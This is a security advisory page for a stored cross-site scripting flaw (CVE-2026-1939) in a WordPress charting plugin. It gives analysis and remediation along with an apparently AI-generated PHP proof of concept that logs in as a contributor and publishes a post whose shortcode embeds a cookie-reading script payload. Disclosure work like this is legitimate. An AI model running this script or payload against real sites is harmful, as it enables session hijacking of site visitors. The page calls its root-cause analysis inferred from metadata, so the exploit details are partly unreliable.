Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-1939: Percent to Infograph <= 1.0 – Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode Attributes (percent-to-infograph)

CVE ID CVE-2026-1939
Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 1.0
Patched Version
Disclosed February 12, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-1939 (metadata-based):
This vulnerability is an authenticated stored cross-site scripting (XSS) flaw in the Percent to Infograph WordPress plugin, version 1.0. The vulnerability exists within the plugin’s `percent_to_graph` shortcode handler. Attackers with contributor-level or higher privileges can inject malicious scripts via shortcode attributes. These scripts execute in the browser of any user viewing a page or post containing the compromised shortcode.

Atomic Edge research infers the root cause is insufficient input sanitization and output escaping on user-supplied shortcode attributes. The CWE-79 classification confirms improper neutralization of input during web page generation. The vulnerability description indicates the plugin fails to properly sanitize attribute values before they are stored and fails to escape them before they are output in the page’s HTML. This inference is based on the CWE pattern and the WordPress shortcode API’s typical implementation, where attributes are passed via an associative array to a handler function.

Exploitation requires an authenticated user with at least contributor-level permissions. The attacker embeds the `percent_to_graph` shortcode in a post or page, injecting malicious JavaScript via one or more of its attributes. For example, an attacker could create a post with the shortcode `[percent_to_graph title=”alert(document.cookie)”]`. When the post is saved and subsequently viewed by any user, the script executes. The attack vector is the WordPress editor or post update mechanisms (e.g., `wp-admin/post.php`).

Remediation requires implementing proper input validation and output escaping. The plugin should validate shortcode attribute values against a strict allowlist of expected characters or data types. All attribute values must be escaped using the appropriate WordPress escaping function, such as `esc_attr()` for HTML attributes or `wp_kses_post()` for HTML content, before being output. A patch would also involve removing any existing malicious shortcode instances from the database.

The impact of successful exploitation includes session hijacking, unauthorized actions on behalf of authenticated users, defacement, and data exfiltration. Since the script executes in the context of the victim’s session, an attacker can perform any action the victim is authorized to do. This can lead to privilege escalation if an administrator views the malicious page. The stored nature of the attack amplifies its impact, as a single injection affects all future visitors to the compromised page.

Differential between vulnerable and patched code

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-1939 - Percent to Infograph <= 1.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode Attributes
<?php
/**
 * Proof of Concept for CVE-2026-1939.
 * This script simulates an authenticated attacker with contributor privileges
 * injecting a malicious shortcode into a WordPress post.
 * Assumptions:
 * 1. The target site uses the vulnerable Percent to Infograph plugin (v1.0).
 * 2. Valid contributor-level credentials are available.
 * 3. The standard WordPress login and post creation endpoints are accessible.
 * 4. The `percent_to_graph` shortcode is registered and active.
 */

$target_url = 'https://example.com'; // CONFIGURE THIS
$username = 'contributor_user';      // CONFIGURE THIS
$password = 'contributor_pass';      // CONFIGURE THIS

// Payload: XSS via the shortcode's 'title' attribute.
// This is a common attribute for chart/graph shortcodes.
$malicious_shortcode = '[percent_to_graph title="<script>alert(`Atomic Edge XSS: ${document.cookie}`)</script>"]';
$post_title = 'Test Post with Malicious Shortcode';
$post_content = "This post contains a malicious shortcode.nn{$malicious_shortcode}nnNormal post content here.";

// Initialize cURL session for cookie persistence
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // For testing only

// Step 1: Authenticate to WordPress
$login_url = $target_url . '/wp-login.php';
$login_fields = http_build_query([
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
]);

curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $login_fields);
curl_setopt($ch, CURLOPT_HTTPHEADER, ['Content-Type: application/x-www-form-urlencoded']);
$response = curl_exec($ch);

// Check for login success by looking for dashboard redirect or absence of login form
if (strpos($response, 'wp-admin') === false && strpos($response, 'Dashboard') === false) {
    die('Login failed. Check credentials.');
}

// Step 2: Create a new post with the malicious shortcode
$new_post_url = $target_url . '/wp-admin/post-new.php';
curl_setopt($ch, CURLOPT_URL, $new_post_url);
curl_setopt($ch, CURLOPT_POST, false);
$response = curl_exec($ch);

// Extract the nonce for creating a post. Look for the '_wpnonce' field in the form.
preg_match('/name="_wpnonce" value="([a-f0-9]+)"/', $response, $nonce_matches);
if (empty($nonce_matches[1])) {
    die('Could not extract creation nonce.');
}
$create_nonce = $nonce_matches[1];

// Step 3: Submit the post
$submit_post_url = $target_url . '/wp-admin/post.php';
$post_fields = http_build_query([
    'post_title' => $post_title,
    'content' => $post_content,
    'publish' => 'Publish',
    'post_type' => 'post',
    '_wpnonce' => $create_nonce,
    '_wp_http_referer' => '/wp-admin/post-new.php',
    'user_ID' => '1', // Assumed user ID; could be extracted from dashboard
    'action' => 'editpost',
    'post_status' => 'publish'
]);

curl_setopt($ch, CURLOPT_URL, $submit_post_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
$response = curl_exec($ch);

// Check for success (redirect to post or 'Post published' message)
if (strpos($response, 'Post published') !== false || curl_getinfo($ch, CURLINFO_EFFECTIVE_URL) !== $submit_post_url) {
    echo 'SUCCESS: Malicious shortcode injected. The XSS payload will execute when the post is viewed.n';
    // Attempt to extract the post URL from the response
    if (preg_match('/<a href="([^"]+)" class="[^"]*"[^>]*>View post</a>/', $response, $link_matches)) {
        echo 'Post URL: ' . htmlspecialchars($link_matches[1]) . 'n';
    }
} else {
    echo 'Post creation may have failed. Check permissions and nonce.n';
}

curl_close($ch);
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School